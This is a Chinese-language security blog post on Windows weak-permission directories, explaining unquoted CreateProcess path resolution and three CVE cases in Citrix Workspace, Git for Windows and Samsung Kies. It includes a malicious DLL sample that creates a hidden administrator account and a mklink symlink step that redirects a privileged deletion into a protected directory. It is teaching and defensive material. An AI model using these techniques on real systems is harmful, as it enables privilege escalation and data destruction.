弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

弱权限目录成漏洞温床!3 个真实案例教你如何防范文件劫持!

VlangCN HW安全之路 2025-02-22 02:51

在 Windows 系统中,权限管理往往是安全性的重要一环。然而,有些目录或文件的权限设置不当,就像给攻击者敞开了一扇门,让他们能够植入恶意文件、执行代码,甚至劫持合法进程或服务。这些“弱权限目录”由于缺乏有效的访问控制和安全审查,成为了攻击者眼中的“香饽饽”。他们可以利用这些漏洞修改、替换或注入文件,最终实现权限提升或系统控制。

在 Windows 中,典型的弱权限目录包括 C:\Windows\Temp、C:\ProgramData 等。这些目录通常用于存放临时文件,但许多应用程序和用户在使用时并未对其设置足够的权限控制。攻击者只需要在这些目录中放置一个恶意可执行文件,就能实施文件劫持攻击,进而执行代码或窃取更高权限。

本文将通过几个真实的案例,深入探讨弱权限目录带来的安全隐患,并从技术细节出发,分析其成因和防范方法。在进入案例之前,我们先从 Windows 的核心 API —— CreateProcess 开始聊起,了解它如何为这些攻击埋下伏笔。

CreateProcess 的不安全使用:隐患的起点

CreateProcess 是 Windows 中创建新进程的核心 API,它决定了程序如何启动以及路径如何解析。它的功能强大,但如果使用不当,也可能成为安全问题的源头。

CreateProcess 的基本用法

先来看看 CreateProcess 的函数原型:

BOOL CreateProcess(  LPCWSTR lpApplicationName,    // 应用程序路径(可选)  LPWSTR lpCommandLine,         // 命令行参数  LPSECURITY_ATTRIBUTES lpProcessAttributes,  // 进程安全属性  LPSECURITY_ATTRIBUTES lpThreadAttributes,   // 线程安全属性  BOOL bInheritHandles,         // 是否继承句柄  DWORD dwCreationFlags,        // 创建标志  LPVOID lpEnvironment,         // 环境变量  LPCWSTR lpCurrentDirectory,   // 当前目录  LPSTARTUPINFO lpStartupInfo,  // 启动信息  LPPROCESS_INFORMATION lpProcessInformation  // 进程信息);

其中,lpApplicationName 和 lpCommandLine 是两个关键参数:
– lpApplicationName:指定可执行文件的路径。如果设为 NULL,系统会从 lpCommandLine 中解析路径。

  • lpCommandLine:传递给新进程的命令行参数。如果 lpApplicationName 为 NULL,这里必须包含完整的应用程序路径或命令名称。

路径解析的“坑”

当 lpApplicationName 为 NULL 时,系统会从 lpCommandLine 中解析路径。这个过程看似简单,却暗藏风险。假设 lpCommandLine 的内容是:

c:\program files\sub dir\program name

如果路径未加引号,且 lpApplicationName 为 NULL,系统会按照以下顺序解析:
1. c:\program.exe
系统首先尝试加载 c:\program.exe。

  1. c:\program files\sub.exe
    如果上一步失败,会尝试加载 c:\program files\sub.exe。

  2. c:\program files\sub dir\program.exe
    接着尝试加载这个路径。

  3. c:\program files\sub dir\program name.exe
    最后尝试将完整名称视为文件名并添加 .exe 后缀。

这种解析机制如果结合弱权限目录,就可能被攻击者利用。

测试验证

我们编写一个简单的 PoC 程序来验证:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");
    STARTUPINFOA si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(si);

    if (CreateProcessA(NULL, szCmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("Process created successfully!\n");
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        printf("Failed to create process. Error code: %lu\n", GetLastError());
    }

    free(szCmdline);
    return 0;
}

编译运行后,使用 Process Monitor 监控,发现如果 c:\program.exe 存在,系统会优先执行它,而不是预期的完整路径程序。这就是路径解析漏洞的典型表现。

安全的用法

为了避免这种问题,正确的用法是:

LPTSTR szCmdline = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
CreateProcess(NULL, szCmdline, /*...*/);

为路径加上引号,能有效防止路径被错误解析。

弱权限目录与文件劫持:攻击的温床

通过上面的测试,我们发现不规范的编码习惯可能导致程序行为偏离预期。而当这些程序涉及弱权限目录时,问题就变得更加严重。攻击者可以在这些目录中写入恶意文件,利用路径解析漏洞实施文件劫持,甚至提升权限。

接下来,我们通过几个真实的 CVE 案例,揭示弱权限目录的危害。

案例分析:从漏洞到攻击

CVE-2020-13884:EXE 文件劫持

漏洞概述:在 Citrix Workspace 卸载过程中,程序调用 CreateProcess 执行 C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe。由于路径未加引号,系统会尝试加载 C:\ProgramData\Citrix\Citrix.exe。

攻击路径:
– C:\ProgramData\Citrix\ 是弱权限目录,普通用户可以写入文件。

  • 攻击者在该目录下放置恶意的 Citrix.exe。

  • 当管理员卸载 Citrix Workspace 时,恶意文件被执行,权限提升成功。

启示:路径未加引号加上弱权限目录,是此类攻击的常见组合。

CVE-2022-24767:DLL 劫持提权

漏洞概述:Windows 版 Git 的卸载程序在 SYSTEM 权限下运行时,会从 C:\Windows\Temp 加载 DLL 文件。

攻击路径:
– C:\Windows\Temp 是弱权限目录,普通用户可写入。

  • 攻击者将恶意 DLL(例如 netapi32.dll)放入该目录。

  • 当 SYSTEM 用户卸载 Git 时,恶意 DLL 被加载并执行。

恶意 DLL 示例代码:

#include <stdio.h>
#include <windows.h>

BOOL WINAPI DllMain(HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add\"");
        ExitProcess(0);
    }
    return TRUE;
}

将编译后的 netapi32.dll 放入 C:\Windows\Temp,卸载 Git 时,系统会创建一个名为 hacker 的管理员账户。

启示:DLL 劫持利用系统加载动态链接库的特性,是权限提升的常见手法。

CVE-2022-39845:任意目录删除

漏洞概述:Samsung Kies 卸载程序存在验证不当问题,会尝试删除 C:\ProgramData\Samsung\deviceprofile\cache 目录内容。

攻击路径:
– C:\ProgramData 是弱权限目录,普通用户可读写。

  • 攻击者创建 C:\ProgramData\Samsung\deviceprofile\cache,并将其软链接到高权限目录(如 C:\Windows\hacktest)。

  • 管理员卸载程序时,目标目录被删除。

测试步骤:
1. 普通用户尝试删除 C:\Windows\hacktest,无权限。

  1. 创建软链接:mklink /D C:\ProgramData\Samsung\deviceprofile\cache C:\Windows\hacktest。

  2. 管理员卸载 Samsung Kies,C:\Windows\hacktest 被删除。

启示:弱权限目录结合路径操作不当,可能导致严重后果。

总结与防护建议

弱权限目录导致的文件劫持问题,往往源于权限控制不严、路径配置错误或文件系统管理疏忽。这些案例告诉我们,安全无小事,一个小小的疏忽就可能被攻击者放大为系统性漏洞。

如何防范?

  1. 加强权限管理:

  2. 对关键目录(如 C:\ProgramData、C:\Windows\Temp)设置严格的访问控制,仅允许必要用户写入。

  3. 规范路径使用:

  4. 在调用 CreateProcess 等 API 时,始终为路径加引号,避免解析错误。

  5. 文件完整性保护:

  6. 使用数字签名验证可执行文件和 DLL 的来源,防止恶意文件加载。

  7. 定期审查:

  8. 检查系统目录权限,及时修补潜在漏洞。

通过这些措施,我们可以有效降低文件劫持的风险,保护系统安全。

结语

从 CreateProcess 的路径解析到弱权限目录的利用,文件劫持攻击展示了技术细节与安全管理的交织。希望这篇文章能让你对 Windows 系统的安全机制有更深的理解,也提醒我们在开发和维护系统时,多一分警惕,少一分隐患。欢迎留言讨论你的看法或经验,让我们一起成长!